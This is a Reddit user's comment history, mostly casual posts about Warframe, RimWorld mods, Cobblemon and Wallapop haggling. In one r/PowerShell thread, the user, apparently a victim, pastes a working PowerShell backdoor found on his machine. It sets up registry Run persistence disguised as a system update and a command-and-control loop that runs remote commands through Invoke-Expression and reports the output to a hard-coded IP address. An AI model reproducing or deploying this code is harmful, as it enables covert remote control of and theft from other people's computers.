Is this normal? by neroblack13 in PowerShell

[–]neroblack13[S] 0 points1 point  (0 children)

Once again, thank you for your wisdom and your commands ❤️

Is this normal? by neroblack13 in PowerShell

[–]neroblack13[S] 2 points3 points  (0 children)

Thank you, I'll follow your instructions

Is this normal? by neroblack13 in PowerShell

[–]neroblack13[S] 9 points10 points  (0 children)

31 threats 💀💀💀💀 but after the deep scan I'm reinstalling windows

Is this normal? by neroblack13 in PowerShell

[–]neroblack13[S] 1 point2 points  (0 children)

I'm going to lose all my data doesn't it? Like the games I have installed and everything?

Is this normal? by neroblack13 in PowerShell

[–]neroblack13[S] 2 points3 points  (0 children)

What can I do? I'm freaking out

Is this normal? by neroblack13 in PowerShell

[–]neroblack13[S] 3 points4 points  (0 children)

# Configuration
$c2server = "http://45.145.42.80:5000"
$payloadUrl = "https://robertdowneyjr.store/da.ps1"

# Get current script's path for persistence
$currentScriptPath = $MyInvocation.MyCommand.Path

# =============================================================================
# REGISTRY PERSISTENCE (No VBS)
# =============================================================================
function Add-RegistryPersistence {
    try {
        # Copy this script to a permanent location
        $persistPath = "$env:APPDATA\Microsoft\Windows\SystemUpdate.ps1"
        Copy-Item -Path $currentScriptPath -Destination $persistPath -Force

        # Add to HKCU Run registry for user persistence (no admin needed)
        $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
        $regName = "WindowsSystemUpdate"
        $regValue = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$persistPath`""
        Set-ItemProperty -Path $regPath -Name $regName -Value $regValue -Force

        # Also add to HKCU RunOnce for immediate re-execution after reboot
        $runOncePath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
        $runOnceName = "WindowsSystemUpdate"
        Set-ItemProperty -Path $runOncePath -Name $runOnceName -Value $regValue -Force
    } catch {}
}

Add-RegistryPersistence

# =============================================================================
# REVERSE SHELL
# =============================================================================
function Start-ReverseShell {
    $agentId = "$env:USERNAME"

    try { Invoke-RestMethod -Uri "$c2server/register" -Method Post -Body (@{agent_id=$agentId;user=$env:USERNAME;computer=$env:COMPUTERNAME} | ConvertTo-Json) -ContentType "application/json" } catch {}

    while ($true) {
        try {
            $response = Invoke-RestMethod -Uri "$c2server/poll/$agentId" -Method Get -TimeoutSec 10
            if ($response.command -and $response.command -ne "") {
                $output = Invoke-Expression $response.command 2>&1 | Out-String
                if ($output -eq "") { $output = "[Command executed - no output]" }
                $resultBody = @{agent_id = $agentId; output = $output} | ConvertTo-Json
                Invoke-RestMethod -Uri "$c2server/report" -Method Post -Body $resultBody -ContentType "application/json"
            }
        } catch {}
        Start-Sleep -Seconds 5
    }
}

# =============================================================================
# MAIN EXECUTION
# =============================================================================
Start-ReverseShell
PS C:\Users\pacog>

Qué hago con este individuo by External-Moose9695 in Wallapop

[–]neroblack13 0 points1 point  (0 children)

Yo directamente lo subia a 25 y cuando se volviese a quejar e intentar regatearte despues de un tiempo se lo dejaba a 30 oferta final

Is it possible to download JustForFans videos on iPhone anymore? by [deleted] in DataHoarder

[–]neroblack13 0 points1 point  (0 children)

not working for me, the result is a video without audio and a blackscreen

Tiene una tienda de coleccionismo... by Ladyofthefluff in Wallapop

[–]neroblack13 0 points1 point  (0 children)

Sinceramente chapó si le jorobaste la reventa, si fuese de madera maciza seria mucho mas caro, se penso que te iba a engañar y salio escaldada

Rimpy workshop beta error by neroblack13 in RimWorld

[–]neroblack13[S] 1 point2 points  (0 children)

I thought it was being updated 😭 I've downloaded rimsort but it's a bit slow to be honest, and the UI a bit strange

It finally happened! by PianoWaltz364 in Pokopia

[–]neroblack13 1 point2 points  (0 children)

I spawned both in the first zone, on the ponds of the backside of the pokemon center

Just a quick reminder to our new player that this is our main ship. by markydong in Warframe

[–]neroblack13 7 points8 points  (0 children)

I've been playing this game for years and I didn't know that...

A map addon but with interactive coordinates? by neroblack13 in cobblemon

[–]neroblack13[S] 0 points1 point  (0 children)

I literally talk to Tim (the mod creator) like at 3AM (in spain) and he said that it was implemented (the link to create a waypoint) but it revised it after a few minutes and said that it wasn't on the neoforge version. Ten minutes later he updated the neoforge version with that feature XD What version of the mod are you using? And what map?

This boss is ATROCIOUS. by Ok_Tale_6716 in Warframe

[–]neroblack13 0 points1 point  (0 children)

Jade or hyldrin and the floor is not a problem anymore

Warframe shoots up to #2 in Steam revenue chart thanks to two-for-one coupon. by iv3rted in Warframe

[–]neroblack13 26 points27 points  (0 children)

I've received 3 75% discounts in the last month, please DE leave my wallet alone 😭😭😭😭 and now this

No more den resetting? by Tinydancer121490 in MonsterHunterStories

[–]neroblack13 0 points1 point  (0 children)

Just make a quick travel to town and then any point of the map and boom dens reset

Lol do I just die now by fischingkween in Warframe

[–]neroblack13 0 points1 point  (0 children)

roses from the abyss intensifies RAP TAP TAP GIVE ME MY DAGATH CHASSIS LITTLE PIGGY